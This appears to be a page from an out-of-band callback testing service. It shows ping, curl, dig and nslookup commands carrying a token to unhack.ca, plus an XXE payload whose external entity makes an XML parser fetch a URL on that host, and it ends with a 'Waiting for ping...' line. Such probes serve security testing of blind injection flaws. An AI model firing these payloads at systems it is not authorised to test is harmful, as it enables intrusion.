$ ping -c1 -p 00ec369eb89dc9d605279e97813d2600 unhack.ca
 
$ curl http://unhack.ca/p/ec369eb89dc9d605279e97813d26
 
$ dig ec369eb89dc9d605279e97813d26 @unhack.ca
 
$ dig ec369eb89dc9d605279e97813d26.ns.unhack.ca
 
C:\> nslookup ec369eb89dc9d605279e97813d26 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ec369eb89dc9d605279e97813d26">]>
    <foo>&xxe;</foo>
Waiting for ping...